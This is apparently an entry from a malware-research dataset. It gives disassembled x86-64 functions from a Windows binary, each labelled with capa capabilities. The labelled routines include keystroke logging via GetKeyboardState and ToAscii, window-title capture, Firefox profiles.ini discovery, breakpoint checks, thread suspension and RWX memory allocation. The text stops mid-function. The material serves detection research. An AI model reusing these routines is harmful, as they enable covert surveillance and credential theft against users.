joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6155e10
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x140
mov r8, rcx
lea r9, [rsp]
add rcx, 0x1d
mov r10d, 0x10
sub r9, r8
movzx eax, byte [rcx]
movzx edx, byte [rcx - 1]
lea rcx, [rcx + 4]
shl edx, 8
or edx, eax
movzx eax, byte [rcx - 3]
shl edx, 8
or edx, eax
movzx eax, byte [rcx - 2]
shl edx, 8
or edx, eax
mov dword [r9 + rcx - 0x21], edx
sub r10, 1
jne 0x6155e43
lea rcx, [rsp + 8]
lea edx, [r10 + 0x40]
mov eax, dword [rcx + 0x2c]
xor eax, dword [rcx + 0x18]
xor eax, dword [rcx - 8]
xor eax, dword [rcx]
lea rcx, [rcx + 4]
rol eax, 1
mov dword [rcx + 0x34], eax
sub rdx, 1
jne 0x6155e79
mov r15d, dword [r8]
lea edi, [rdx + 0x14]
mov r12d, dword [r8 + 4]
mov r14d, r15d
mov r13d, dword [r8 + 8]
mov r11d, r12d
mov ebx, dword [r8 + 0xc]
mov r10d, r13d
mov esi, dword [r8 + 0x10]
xor ebp, ebp
mov eax, r10d
lea r9d, [rsi + 0x5a827999]
and eax, r11d
mov ecx, r11d
not ecx
mov edx, r14d
and ecx, ebx
rol edx, 5
or ecx, eax
mov esi, ebx
add edx, ecx
mov ebx, r10d
add edx, dword [rsp + rbp*4]
mov r10d, r11d
add r9d, edx
ror r10d, 2
inc rbp
mov r11d, r14d
mov r14d, r9d
cmp rbp, rdi
jl 0x6155eb4
mov ebp, 0x28
rol r9d, 5
add esi, 0x6ed9eba1
add r9d, dword [rsp + rdi*4]
mov ecx, ebx
xor ecx, r10d
add r9d, esi
xor ecx, r11d
mov esi, ebx
mov ebx, r10d
add r9d, ecx
mov r10d, r11d
inc rdi
ror r10d, 2
mov r11d, r14d
mov r14d, r9d
cmp rdi, rbp
jl 0x6155ef7
mov edx, 0x3c
mov ecx, r10d
rol r9d, 5
or ecx, r11d
mov eax, r10d
and ecx, ebx
add esi, 0x8f1bbcdc
and eax, r11d
add r9d, esi
or ecx, eax
mov esi, ebx
add ecx, dword [rsp + rbp*4]
mov ebx, r10d
mov r10d, r11d
add r9d, ecx
ror r10d, 2
inc rbp
mov r11d, r14d
mov r14d, r9d
cmp rbp, rdx
jl 0x6155f32
mov eax, dword [rsp + rdx*4]
add esi, 0xca62c1d6
rol r9d, 5
mov ecx, ebx
xor ecx, r10d
add r9d, esi
xor ecx, r11d
mov esi, ebx
mov ebx, r10d
add eax, ecx
mov r10d, r11d
add r9d, eax
ror r10d, 2
inc rdx
mov r11d, r14d
mov r14d, r9d
cmp rdx, 0x50
jl 0x6155f6f
add dword [r8 + 0xc], ebx
lea eax, [r15 + r9]
add dword [r8 + 0x10], esi
and dword [r8 + 0x5c], 0
mov dword [r8], eax
lea eax, [r12 + r11]
lea r11, [rsp + 0x140]
mov dword [r8 + 4], eax
mov rbx, qword [r11 + 0x30]
lea eax, [r10 + r13]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov dword [r8 + 8], eax
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x6155fec
Capabilities:
Hash data using sha1

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
xor ebx, ebx
mov dword [rbp - 0x29], 0x67452301
mov qword [rbp - 0x15], rbx
mov r14, r8
mov qword [rbp + 0x33], rbx
mov edi, edx
mov dword [rbp - 0x25], 0xefcdab89
mov rsi, rcx
mov dword [rbp - 0x21], 0x98badcfe
lea r15d, [rbx + 1]
mov dword [rbp - 0x1d], 0x10325476
mov r9d, ebx
mov dword [rbp - 0x19], 0xc3d2e1f0
mov eax, ebx
mov dword [rbp + 0x3b], ebx
test edx, edx
je 0x61560fc
dec edi
test eax, eax
jne 0x6156165
mov al, byte [rsi]
movsxd rcx, r9d
mov byte [rbp + rcx - 0xd], al
mov r9d, dword [rbp + 0x33]
mov eax, dword [rbp + 0x3b]
inc r9d
add dword [rbp - 0x15], 8
mov dword [rbp + 0x33], r9d
jne 0x6156086
add dword [rbp - 0x11], r15d
cmove eax, r15d
mov dword [rbp + 0x3b], eax
cmp r9d, 0x40
jne 0x615609c
lea rcx, [rbp - 0x29]
call fcn.06155e10
mov eax, dword [rbp + 0x3b]
mov r9d, dword [rbp + 0x33]
add rsi, r15
test edi, edi
jne 0x6156054
test eax, eax
jne 0x6156165
cmp dword [rbp + 0x37], ebx
jne 0x6156165
cmp r9d, 0x37
jle 0x61560fc
movsxd rax, r9d
mov byte [rbp + rax - 0xd], 0x80
jmp 0x61560ca
cdqe
mov byte [rbp + rax - 0xd], bl
mov eax, dword [rbp + 0x33]
add eax, r15d
mov dword [rbp + 0x33], eax
cmp eax, 0x40
jl 0x61560c4
lea rcx, [rbp - 0x29]
call fcn.06155e10
mov eax, dword [rbp + 0x33]
jmp 0x61560f5
cdqe
mov byte [rbp + rax - 0xd], bl
mov eax, dword [rbp + 0x33]
add eax, r15d
mov dword [rbp + 0x33], eax
cmp eax, 0x38
jl 0x61560e6
jmp 0x615611a
movsxd rax, r9d
mov byte [rbp + rax - 0xd], 0x80
jmp 0x615610c
cdqe
mov byte [rbp + rax - 0xd], bl
mov eax, dword [rbp + 0x33]
add eax, r15d
mov dword [rbp + 0x33], eax
cmp eax, 0x38
jl 0x6156106
mov ecx, dword [rbp - 0x11]
mov eax, ecx
shr eax, 0x18
mov byte [rbp + 0x2b], al
mov eax, ecx
shr eax, 0x10
mov byte [rbp + 0x2c], al
mov al, byte [rbp - 0x11]
mov byte [rbp + 0x2e], al
shr ecx, 8
mov byte [rbp + 0x2d], cl
mov ecx, dword [rbp - 0x15]
mov eax, ecx
shr eax, 0x18
mov byte [rbp + 0x2f], al
mov eax, ecx
shr eax, 0x10
shr ecx, 8
mov byte [rbp + 0x30], al
mov al, byte [rbp - 0x15]
mov byte [rbp + 0x31], cl
lea rcx, [rbp - 0x29]
mov byte [rbp + 0x32], al
call fcn.06155e10
mov dword [rbp + 0x37], r15d
lea r8, [rbp - 0x27]
mov al, byte [r8 + 1]
lea edx, [rbx*4]
lea ecx, [rdx + 1]
mov byte [rdx + r14], al
mov al, byte [r8]
add ebx, r15d
mov byte [rcx + r14], al
lea ecx, [rdx + 2]
mov al, byte [r8 - 1]
lea r8, [r8 + 4]
mov byte [rcx + r14], al
lea ecx, [rdx + 3]
mov al, byte [r8 - 6]
mov byte [rcx + r14], al
cmp ebx, 5
jb 0x6156169
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x615f7a0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x30]
sub rsp, 0x130
movzx ebx, word [rcx + 0x18]
mov rdi, rcx
mov ecx, 0x6c2
call fcn.06153638
xor r14d, r14d
mov qword [rbp + 0x70], rax
test rax, rax
je 0x615f8a5
mov ecx, 0xb5e
call fcn.0615675c
mov qword [rbp + 0x78], rax
test rax, rax
je 0x615f8a5
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rbp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x70]
mov rsi, rax
call fcn.06151288
lea rcx, [rbp + 0x78]
call fcn.06151288
test rsi, rsi
je 0x615f8a5
call rsi
lea rcx, [0x061815e0]
mov qword [0x061815e8], rax
call fcn.06151914
mov rcx, qword [rdi + 0x10]
cmp rcx, 0xd
jne 0x615f846
call fcn.0615f9d0
jmp 0x615f8a5
mov edx, ebx
mov word [rbp + 0x68], r14w
call fcn.0615f688
test eax, eax
jne 0x615f8a5
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov eax, dword [rdi + 0x18]
lea r9, [rbp + 0x68]
mov ecx, dword [rdi + 0x10]
lea r8, [rsp + 0x30]
sar rax, 0x10
movzx edx, al
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_ToAscii]
movzx eax, word [rbp + 0x68]
mov byte [rbp + 0x60], al
test al, al
je 0x615f8a5
test ebx, ebx
je 0x615f8a5
mov edx, 1
lea rcx, [rbp + 0x60]
call fcn.0615f8b4
sub rbx, 1
jne 0x615f891
add rsp, 0x130
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x615f9d0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x100
call sub.msvcrt.dll_memset
mov rcx, qword [0x061815f0]
test rcx, rcx
je 0x615fb7c
mov eax, dword [0x061815d8]
test eax, eax
je 0x615fb7c
mov byte [rax + rcx], 0
xor r8d, r8d
mov edx, dword [0x061815d8]
mov rcx, qword [0x061815f0]
call fcn.06152424
cmp eax, dword [0x061815d0]
mov ebx, eax
jne 0x615fa4f
mov r8d, dword [0x061815d8]
xor edx, edx
mov rcx, qword [0x061815f0]
call fcn.061515e8
jmp 0x615fb6e
mov rcx, qword [0x061815e8]
test rcx, rcx
je 0x615fa6c
mov r8d, 0x100
lea rdx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetWindowTextA]
call fcn.06152eb0
mov qword [rbp + 0x30], rax
test rax, rax
je 0x615fb6e
mov rcx, qword [0x061816f0]
add rcx, 0x1664
call fcn.06151f18
mov rcx, qword [rbp + 0x30]
lea rdx, [0x0617467c]
mov qword [rbp + 0x40], rax
call fcn.06152f10
mov rcx, qword [rbp + 0x30]
lea rdx, str._p_
call fcn.06152ff8
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x30]
call fcn.06152ff8
mov rcx, qword [rbp + 0x30]
lea rdx, str.__t_
call fcn.06152ff8
mov rcx, qword [rbp + 0x30]
lea rdx, [rsp + 0x20]
call fcn.06152ff8
mov rcx, qword [rbp + 0x30]
lea rdx, str.__b_
call fcn.06152ff8
call fcn.0615fb90
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x38], rax
test rax, rax
je 0x615fb21
mov rdx, rax
call fcn.06152ff8
mov rcx, qword [rbp + 0x38]
call fcn.061519b8
movsxd rdx, eax
lea rcx, [rbp + 0x38]
call fcn.06151300
jmp 0x615fb42
mov rdx, qword [0x061815f0]
call fcn.06152ff8
mov r8d, dword [0x061815d8]
xor edx, edx
mov rcx, qword [0x061815f0]
call fcn.061515e8
mov rcx, qword [rbp + 0x30]
lea rdx, [0x061745c4]
call fcn.06152ff8
lea rcx, [rbp + 0x30]
call fcn.0615328c
or rdx, 0xffffffffffffffff
lea rcx, [rbp + 0x40]
call fcn.06151300
mov dword [0x061815d0], ebx
and dword [0x061815d4], 0
and dword [0x061815d8], 0
mov rbx, qword [rsp + 0x148]
add rsp, 0x120
pop rbp
ret
Function at 0x6160040
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rdi, qword [rsp + 0x28]
cmp rsi, 0x40000000
jbe 0x6160082
lea rax, [rsi - 0x40000000]
cmp rdi, rax
cmovb rdi, rax
mov rbx, qword [0x06181638]
lea rbp, [rsi + 0x40000000]
cmp qword [rsp + 0x30], rbp
cmovbe rbp, qword [rsp + 0x30]
sub rbp, 0xfff
test rbx, rbx
je 0x61600c1
cmp rbx, rdi
jb 0x61600bc
cmp rbx, rbp
jae 0x61600bc
cmp qword [rbx + 8], 0
jne 0x616018e
mov rbx, qword [rbx]
jmp 0x61600a2
mov r14, rsi
cmp rsi, rdi
jb 0x6160147
mov r8d, dword [rsp + 0x48]
mov rdx, rdi
mov rcx, r14
call fcn.0615ff64
mov r14, rax
test rax, rax
je 0x6160108
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x616014e
cmp r14, rdi
jae 0x61600c9
test rbx, rbx
jmp 0x6160145
mov r8d, dword [rsp + 0x48]
mov rdx, rbp
mov rcx, rsi
call fcn.0615fed8
mov rsi, rax
test rax, rax
je 0x616018e
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x616014e
cmp rsi, rbp
jbe 0x616010d
jmp 0x616018e
and qword [rbx + 8], 0
lea rcx, [rbx + 0x40]
and dword [rbx + 0x10], 0
mov rdx, rcx
sub rdx, rbx
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x6160161
mov rax, qword [0x06181638]
mov qword [rbx], rax
mov qword [0x06181638], rbx
mov rbp, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x6160c00
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x06181700]
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 4]
call qword [rax + 0x30]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x6160cfd
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
jmp 0x6160cec
cmp dword [rsp + 0x20], 0x10
jb 0x6160cd7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x6160cd7
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x6160cd7
mov rdx, qword [rbx]
test rdx, rdx
jne 0x6160c95
mov dword [rbx + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x06181648]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
mov rdx, rax
test rax, rax
je 0x6160cf4
jmp 0x6160cca
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x6160cca
mov rcx, qword [0x06181648]
lea r9d, [rax + rax]
mov r8, rdx
shl r9, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x6160cf4
mov eax, dword [rbx + 8]
add eax, eax
mov qword [rbx], rdx
mov dword [rbx + 8], eax
mov ecx, dword [rbx + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x6160c43
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x6160dbc
Capabilities:
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
and qword [rcx], 0
mov ebp, r8d
and dword [rcx + 8], 0
mov r14d, edx
and dword [rcx + 0xc], 0
mov rbx, rcx
call fcn.06160c00
cmp qword [rbx], 0
je 0x6160e3d
xor edi, edi
cmp dword [rbx + 0xc], edi
jbe 0x6160e3d
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x6160e36
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rsi
call fcn.06160e64
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x6160dfc
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x6160f68
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov r8, qword [rcx]
mov rbx, rcx
test r8, r8
je 0x6160fce
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x6160fbf
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x6160fb5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x6160f89
mov r8, qword [rbx]
mov rcx, qword [0x06181648]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x6161574
Capabilities:
Check for software breakpoints

Disassembly:
mov r8b, byte [rcx]
mov r9d, edx
test r8b, r8b
je 0x616158b
cmp r8b, 0x90
je 0x616158b
cmp r8b, 0xcc
jne 0x61615ad
mov r10d, 1
mov edx, r10d
cmp r9d, r10d
jbe 0x61615a9
mov eax, edx
cmp byte [rax + rcx], r8b
jne 0x61615ad
add edx, r10d
cmp edx, r9d
jb 0x6161599
mov eax, r10d
ret
xor eax, eax
ret
Function at 0x6161c98
Capabilities:
Check if file exists
Get common file path
Get file attributes
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
movups xmm0, xmmword [str.MozillaFirefox]
xor r9d, r9d
mov rsi, rdx
movups xmm1, xmmword [0x061746e8]
mov r14, rcx
lea rax, [rbp + 0x1e0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x1a]
xor ecx, ecx
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x6161ed0
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, [0x061784b8]
lea rcx, [rbp + 0x1e0]
call fcn.06152170
movups xmm0, xmmword [str.profiles.ini]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rax
movsd xmm1, qword [0x06174708]
lea rdx, [0x061784b8]
movzx eax, word [0x06174710]
lea rcx, [rbp + 0x1e0]
xor r9d, r9d
movsd qword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x78], ax
call fcn.06152170
mov qword [rbp + 0x430], rax
mov r15, 0xfffffffffffffffe
test rax, rax
je 0x6161eb4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x6161eb4
movups xmm0, xmmword [str.IsRelative]
mov eax, dword [0x06174728]
xor bl, bl
mov dword [rsp + 0x58], eax
movzx eax, word [0x0617472c]
movups xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x5c], ax
movsd xmm0, qword [str.Path]
movzx eax, word [0x06174738]
movsd qword [rsp + 0x38], xmm0
mov word [rsp + 0x40], ax
movzx r9d, bl
lea r8, str.Profile_u
mov edx, 0xf
lea rcx, [rbp - 0x80]
call fcn.0615164c
mov r8d, 0x20
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x80]
call fcn.0615207c
mov r9, qword [rbp + 0x430]
lea rdx, [rsp + 0x48]
or r8d, 0xffffffff
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov edi, eax
cmp eax, 0xffffffff
je 0x6161eb4
mov rcx, qword [rbp + 0x430]
lea r9, [rbp - 0x30]
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x50]
mov dword [rsp + 0x20], 0x104
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x6161e99
lea rcx, [rbp - 0x30]
call fcn.06153690
cmp edi, 1
jne 0x6161e8b
mov rcx, qword [rsp + 0x30]
lea r8, [rbp - 0x30]
xor r9d, r9d
lea rdx, [0x061784b8]
call fcn.06152170
mov qword [rbp + 0x438], rax
test rax, rax
je 0x6161e7a
mov rdx, rsi
mov rcx, rax
call r14
test eax, eax
je 0x6161ea5
mov rdx, r15
lea rcx, [rbp + 0x438]
call fcn.06151300
jmp 0x6161e99
mov rdx, rsi
lea rcx, [rbp - 0x30]
call r14
test eax, eax
je 0x6161eb4
inc bl
cmp bl, 0xfa
jae 0x6161eb4
jmp 0x6161dbc
mov rdx, r15
lea rcx, [rbp + 0x438]
call fcn.06151300
mov rdx, r15
lea rcx, [rbp + 0x430]
call fcn.06151300
mov rdx, r15
lea rcx, [rsp + 0x30]
call fcn.06151300
mov rbx, qword [rsp + 0x520]
mov dword [0x06181698], 1
add rsp, 0x4f0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x61636cc
Capabilities:
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp dword [0x061817c0], 0
mov edi, r8d
mov esi, edx
mov rbx, rcx
je 0x6163720
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, esi
je 0x6163720
test edi, edi
jne 0x6163703
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, esi
mov rcx, rbx
call fcn.061635f0
mov esi, eax
test edi, edi
jne 0x616371c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, esi
jmp 0x6163722
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x61637a8
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
xor ebx, ebx
mov r14d, ecx
cmp dword [0x061817c0], ebx
mov ebp, ebx
je 0x616389b
mov rax, qword [0x061816f0]
lea ecx, [rbx + 4]
xor edx, edx
mov r15d, dword [rax + 0x1660]
mov rax, qword [0x06181700]
call qword [rax + 0x30]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x616389b
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x616388a
cmp dword [rsp + 0x2c], r15d
jne 0x6163877
mov rax, qword [0x06181700]
xor edx, edx
mov r8d, dword [rsp + 0x28]
lea ecx, [rdx + 0x4a]
call qword [rax + 0xc8]
mov rdi, rax
test rax, rax
je 0x6163877
mov edx, dword [rsp + 0x28]
xor r8d, r8d
mov rcx, rax
call fcn.061636cc
test eax, eax
je 0x616386a
mov rcx, rdi
test r14d, r14d
je 0x616385f
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x6163865
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov ebp, 1
mov rax, qword [0x06181700]
mov rcx, rdi
call qword [rax + 0x68]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x6163816
mov ebx, ebp
mov rdx, qword [0x06181700]
mov rcx, rsi
call qword [rdx + 0x68]
mov eax, ebx
jmp 0x616389d
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x616f0a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rdx], ecx
mov dword [rdx + 0x9c0], 1
movsxd rcx, dword [rdx + 0x9c0]
mov eax, dword [rdx + rcx*4 - 4]
shr eax, 0x1e
xor eax, dword [rdx + rcx*4 - 4]
imul eax, eax, 0x6c078965
add eax, ecx
mov dword [rdx + rcx*4], eax
inc dword [rdx + 0x9c0]
cmp dword [rdx + 0x9c0], 0x270
jl 0x616f0ac
ret

Function at 0x616f0dc
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov r9d, dword [rcx + 0x9c0]
mov r8, rcx
cmp r9d, 0x270
jl 0x616f1a5
xor r9d, r9d
lea rbx, [0x061800a0]
mov r10d, r9d
mov r11d, 0x7fffffff
mov edx, 0xe3
mov ecx, dword [r8 + r10*4 + 4]
xor ecx, dword [r8 + r10*4]
and ecx, r11d
xor ecx, dword [r8 + r10*4]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [rbx + rax*4]
xor ecx, dword [r8 + r10*4 + 0x634]
mov dword [r8 + r10*4], ecx
inc r10
cmp r10, rdx
jl 0x616f110
mov ecx, dword [r8 + rdx*4 + 4]
xor ecx, dword [r8 + rdx*4]
and ecx, r11d
xor ecx, dword [r8 + rdx*4]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [rbx + rax*4]
xor ecx, dword [r8 + rdx*4 - 0x38c]
mov dword [r8 + rdx*4], ecx
inc rdx
cmp rdx, 0x26f
jl 0x616f13e
mov edx, dword [r8 + 0x9bc]
xor edx, dword [r8]
and edx, r11d
xor edx, dword [r8 + 0x9bc]
mov eax, edx
shr edx, 1
and eax, 1
mov ecx, dword [rbx + rax*4]
xor ecx, dword [r8 + 0x630]
xor ecx, edx
mov dword [r8 + 0x9bc], ecx
mov dword [r8 + 0x9c0], r9d
mov rbx, qword [rsp + 8]
movsxd rax, r9d
mov ecx, dword [r8 + rax*4]
lea eax, [r9 + 1]
mov dword [r8 + 0x9c0], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x180001220
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x58
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], r9
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x80]
cmp rax, qword [rsp + 0x48]
jbe 0x180001260
mov dword [rsp + 0x54], 0xffffffff
jmp 0x180001315
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x40
lea r9, [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
jne 0x180001293
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
jmp 0x180001315
cmp qword [rsp + 0x80], 0
je 0x1800012b4
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
jmp 0x1800012be
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x20]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.180001320
mov dword [rsp + 0x28], eax
mov r8d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
jne 0x18000130d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
jmp 0x180001315
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
add rsp, 0x58
ret
Function at 0x180002340
Capabilities:
Get common file path

Disassembly:
push rbp
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x18], rcx
lea rcx, [0x1800bb930]
xor edx, edx
xor eax, eax
mov r8d, eax
lea r9, [rbp - 0x20]
call sub.SHELL32.dll_SHGetKnownFolderPath
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
je 0x18000238d
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov byte [rbp - 9], 0
jmp 0x1800023e6
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
call fcn.1800048f0
mov rcx, qword [rbp - 0x20]
mov rax, qword [sym.imp.ole32.dll_CoTaskMemFree]
call rax
lea rdx, [0x18004a6d4]
lea r8, [0x1800d2680]
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x50], rcx
